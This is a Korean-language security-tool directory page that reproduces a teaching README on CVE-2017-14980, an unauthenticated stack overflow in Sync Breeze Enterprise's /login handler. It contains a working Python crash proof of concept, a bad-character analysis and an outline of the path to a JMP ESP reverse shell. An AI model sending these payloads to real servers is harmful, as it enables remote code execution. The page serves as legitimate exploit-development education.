Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2017-14980 — Sync Breeze Enterprise 10.0.28의 /login 핸들러를 통해 접근 가능한 스택 기반 버퍼 오버플로우로, 확인되지 않은 입력 길이가 스택 메모리를 손상시킬 수 있는 방법을 보여줍니다. | Kitploit
도구/GitHubGitHub/themalwareguardian/cve-2017-14980
Vulnerability AnalysisExploitationReverse EngineeringShellcodeWeb Application ExploitationDebuggersFuzzingLearning & EducationPayload DevelopmentBinary Exploitation
GitHubthemalwareguardian/cve-2017-14980

CVE-2017-14980

135개월 전아직 검토되지 않음

Sync Breeze Enterprise 10.0.28의 /login 핸들러를 통해 접근 가능한 스택 기반 버퍼 오버플로우로, 확인되지 않은 입력 길이가 스택 메모리를 손상시킬 수 있는 방법을 보여줍니다.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

🐞 CVE-2017-14980: Sync Breeze Enterprise 10.0.28 - 스택 기반 버퍼 오버플로우

/login 핸들러를 통해 접근 가능한 Sync Breeze Enterprise 10.0.28의 스택 기반 버퍼 오버플로우입니다. 입력 길이 검사가 없을 경우 스택 메모리가 어떻게 손상될 수 있는지 보여줍니다.




📑 목차

  • 이 저장소가 존재하는 이유
  • 이 취약점이 흥미로운 이유
  • 컨텍스트 및 영향을 받는 소프트웨어
  • 취약점 정보
  • 크래시 유발
  • 익스플로잇



🎓 이 저장소가 존재하는 이유

이 저장소는 제가 메모리 손상 익스플로잇을 가르칠 때 사용하는 자료의 일부입니다 (정규 업무 외에도 여러 사이버보안 강좌에서 차세대 리버스 엔지니어를 양성하는 데 기여하고 있습니다).

CVE-2017-14980은 학생들이 원시 TCP 프로토콜 대신 HTTP를 통해 바닐라 EIP 덮어쓰기를 경험하게 하고자 할 때 사용하는 사례입니다. 처음에는 간단해 보입니다. 로그인 폼, 긴 비밀번호, 크래시. 하지만 HTTP 컨텍스트는 즉시 명확하지 않은 여러 악성 문자(bad character)를 도입하며, 학생들은 데이터가 취약한 버퍼에 도달하기 전에 어떻게 처리되는지 생각해야 합니다. %, &, +, =가 여기서 왜 악성 문자인지 이해하려면 URL 인코딩에 대한 이해가 필요하며, 이는 그 자체로 유용한 교훈입니다.




💡 이 취약점이 흥미로운 이유

Sync Breeze Enterprise는 웹 관리 인터페이스를 제공하는 Windows 파일 동기화 애플리케이션입니다. 취약점은 로그인 핸들러에 있으며, 비밀번호 필드를 길이 검증 없이 고정 크기 스택 버퍼에 복사합니다. 이 사례가 교육에 유용한 이유는 다음과 같습니다.

  • 인증이 필요하지 않습니다. 오버플로우는 자격 증명 확인이 이루어지기 전에 로그인 처리 중 발생합니다.
  • 직접적인 EIP 덮어쓰기. SEH, 힙, 다단계 익스플로잇이 없습니다. 저장된 반환 주소가 직접 덮어쓰여집니다.
  • HTTP 컨텍스트는 명확하지 않은 악성 문자를 도입합니다. 일반적인 \x00, \x0a, \x0d 외에도 application/x-www-form-urlencoded 콘텐츠 유형은 \x25 (%), \x26 (&), \x2b (+), \x3d (=)를 악성 문자로 추가합니다. 서버가 URL 인코딩된 본문을 버퍼에 복사하기 전에 디코딩하기 때문입니다. 악성 문자 분석을 생략하고 바로 셸코드로 넘어간 학생은 메모리에 도달하기 전에 조용히 손상된 페이로드를 얻게 됩니다.
  • 애플리케이션에 포함된 모듈의 신뢰할 수 있는 가젯. Sync Breeze에 번들로 제공되는 libspp.dll은 ASLR, SafeSEH, CFG 없이 컴파일되어 가젯 주소가 재부팅 후에도 고정됩니다.



🔍 컨텍스트 및 영향을 받는 소프트웨어

Sync Breeze Enterprise는 원격 관리를 위한 내장 웹 서버를 포함하는 Windows 파일 동기화 도구입니다. 웹 인터페이스는 활성화 시 TCP 포트 80에서 수신 대기하며 /login에 로그인 폼을 노출합니다. 취약점은 비밀번호 필드를 처리하는 POST 핸들러에 있습니다.

주요 기술 세부 사항:

  • 취약점 유형: 스택 기반 버퍼 오버플로우
  • 영향을 받는 버전: Sync Breeze Enterprise 10.0.28
  • 영향을 받는 엔드포인트: POST /login, password 매개변수
  • 취약한 구성 요소: 로그인 폼 핸들러
  • 인증 필요 여부: 아니오
  • 영향: 원격 코드 실행



⚠️ 취약점 정보

Sync Breeze는 POST 본문을 읽고 password 필드를 추출하여 로그인 폼을 처리합니다. 값을 길이 확인 없이 고정 크기 스택 버퍼에 복사합니다. 취약한 로직의 단순화된 버전은 다음과 같습니다.

root@kitploit:~
char password_buffer[256];

strcpy(password_buffer, password_field);

POST 본문은 복사가 이루어지기 전에 URL 디코딩되므로 %25와 같은 문자가 버퍼에 도달하기 전에 %로 디코딩됩니다. 이것이 특정 URL 특수 문자가 악성 문자로 작용하는 이유이기도 합니다. HTTP 계층이 취약한 복사 작업에 도달하기 전에 데이터를 해석하기 때문입니다. 충분히 긴 비밀번호 값을 전송하면 복사가 버퍼 끝을 넘어 저장된 반환 주소를 덮어씁니다. 함수가 반환될 때 CPU는 스택에서 공격자가 제어하는 값을 EIP로 로드하고 해당 주소로 점프합니다.




💥 크래시 유발

크래시는 /login에 대한 POST 요청에서 과도하게 긴 비밀번호를 전송하여 재현할 수 있습니다. 인증이 필요하지 않습니다. Python 예제:

root@kitploit:~
import socket

HOST = '127.0.0.1'
PORT = 80

payload = b"A" * 600

body = b"username=admin&password=" + payload
request = (
	b"POST /login HTTP/1.1\r\n"
	b"Host: 127.0.0.1\r\n"
	b"Content-Type: application/x-www-form-urlencoded\r\n"
	b"Content-Length: " + str(len(body)).encode() + b"\r\n"
	b"Connection: close\r\n"
	b"\r\n" +
	body
)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(request)
s.close()

디버거에서 실행하면 크래시 시 EIP가 사용자 제어 데이터로 덮어쓰여진 것을 확인할 수 있습니다.

root@kitploit:~
EIP = 41414141

이는 저장된 반환 주소가 오버플로우로 인해 손상되었음을 확인해줍니다.




💣 익스플로잇

이 저장소의 목표는 단순히 크래시를 보여주는 것이 아니라, 퍼징부터 작동하는 리버스 셸까지 전체 익스플로잇 과정을 단계별로 설명하는 것입니다.

메인 README를 깔끔하게 유지하기 위해 상세한 익스플로잇 노트, 스크립트 및 디버거 단계는 이 저장소의 Vulnerability 📂 폴더 안에 배치했습니다.

해당 폴더에서는 이 CVE를 익스플로잇하는 데 사용된 전체 워크플로우를 확인할 수 있습니다. 여기에는 다음이 포함됩니다.

  • 비밀번호 필드 퍼징을 통한 크래시 식별
  • EIP의 정확한 스택 위치를 찾기 위한 오프셋 발견
  • URL 인코딩된 POST 본문에 대한 악성 문자 분석 (HTTP 특유의 악성 문자 포함)
도구 다운로드
  • ASLR 또는 SafeSEH 없이 컴파일된 모듈 libspp.dll에서 JMP ESP 가젯 찾기
  • 셸코드 배치 및 실행